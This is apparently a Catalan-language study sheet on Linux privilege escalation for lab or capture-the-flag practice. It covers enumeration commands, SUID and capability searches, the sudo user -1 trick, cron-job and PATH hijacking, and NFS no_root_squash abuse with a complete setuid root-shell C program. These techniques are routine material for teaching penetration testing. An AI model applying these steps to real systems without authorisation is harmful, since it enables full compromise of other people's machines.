Escalada de privilegis

1. Enumeration

Per tal de poder escalar privilegis quan entrem dins una màquina, primer haurem de saber en quina màquina ens trobem.

hostname -> veure el nom de la màquina
uname -a -> informació del sistema i el kernel
cat /proc/versión -> informació del sistema i el kernel
cat /etc/issue -> informació del sistema operatiu
ps -A | ps axjf | ps aux -> veure els processos del sistema
env -> mostrar les variables d’entorn
sudo -l -> comandes que l’usuari pot executar com a administrador
history -> veure les comandes que s’han executat en el sistema
ifconfig | ip route -> veure informació sobre connexions


2. Eines d’enumeració automàtica - scripts

Scripts que ens ajudaran a trobar vulnerabilitats.


3. Kernel exploits

Podem veure la versió del kernel del sistema (uname -a) i buscar per internet si existeixen exploits disponibles.


4. Sudo

sudo -l -> veure si amb el nostre usuari podem executar alguna comanda amb sudo

Buscar si hi ha alguna vulnerabilitat a https://gtfobins.github.io/

Màquines#Year of the Rabbit
De vegades, si la versió de la shell és antiga, podem trobar una altra vulnerabilitat.
Si quan fem sudo -l ens apareix que l'usuari pot fer servir un programa com a qualsevol usuari menys l'usuari root (ALL, !root) <programa>, intentarem executar aquest programa amb l'usuari #-1. Pot ser que com que aquest usuari no existeix, acabem executant la comanda com a root.


5. SUID

find / -type f -perm -04000 -ls 2>/dev/null -> buscar programes que tinguin el bit SUID activat, és a dir, que s’executin com el seu propietari

Buscar si hi ha alguna vulnerabilitat a https://gtfobins.github.io/


6. Capabilities

getcap -r / 2>/dev/null -> podem veure els programes els quals l’usuari pot fer servir com a administrador.

Buscar si hi ha alguna vulnerabilitat a https://gtfobins.github.io/


7. Cron Jobs

cat /etc/crontab -> podem veure les taules dels cronjobs. Si hi ha un script en el qual tenim permisos per poder-lo editar i que s’executa periòdicament com a administrador, podem introduir nosaltres el nostre propi codi a executar.

És important que el codi que vulguem executar sigui una reverse shell, ja que els cronjobs s’executen sempre en segon pla.


8. PATH

echo $PATH -> veure les variables d’entorn del sistema

export PATH=/tmp:$PATH -> afegir una nova ruta a les variables d’entorn del sistema

Podem fer servir aquesta vulnerabilitat de vàries maneres:

Podem trobar un programa que en el seu codi cridi a un altre programa amb una ruta no relativa. Llavors, al nosaltres poder veure el codi del programa, sabem exactament el nom del programa que està cridant. (programa en c, python, ...)

Si no podem accedir al codi del programa, podem veure si trobem alguna cosa que ens pugui servir fent servir la comanda strings "nom del programa". (sobretot programes de sistema)

És important que per fer servir aquest mètode d’escalada de privilegis, el programa que vulguem explotar tingui el SUID root activat, per tal que executi el nostre script com a administrador.


9. NFS

cat /etc/exports -> veure les unitats de xarxa que podem muntar en el nostre ordinador. Podrem explotar-les si tenen activada la clàusula no_root_squash.

Des del Kali

showmount -e "ip màquina" -> veurem les unitats que tenim disponibles per muntar a la nostra màquina

mkdir /tmp/mount -> creem una carpeta on muntarem la unitat que vulguem

mount -o rw "ip màquina":/"carpeta a muntar" /tmp/mount -> muntem la carpeta en el directori que hem creat anteriorment en el nostre equip

Un cop tinguem la carpeta muntada, des del nostre Kali crearem un script que ens farà aparèixer una shell. A aquest script li donarem permisos totals i li activarem el SUID. El propietària haurà de ser root.

sudo nano script.c -> creem l’script en llenguatge C i com a usuari root

int main()
{
setgid(0);
setuid(0);
system("/bin/bash");
return 0;
}

sudo gcc script.c -o script -w -> compilem el programa
sudo chmod +s script -> activem el SUID del programa

Ara, des de la màquina, ja podem executar el programa. Com que hi ha l’SUID activat i tenim la clàusula no_root_squash, se’ns executarà una terminal com a root.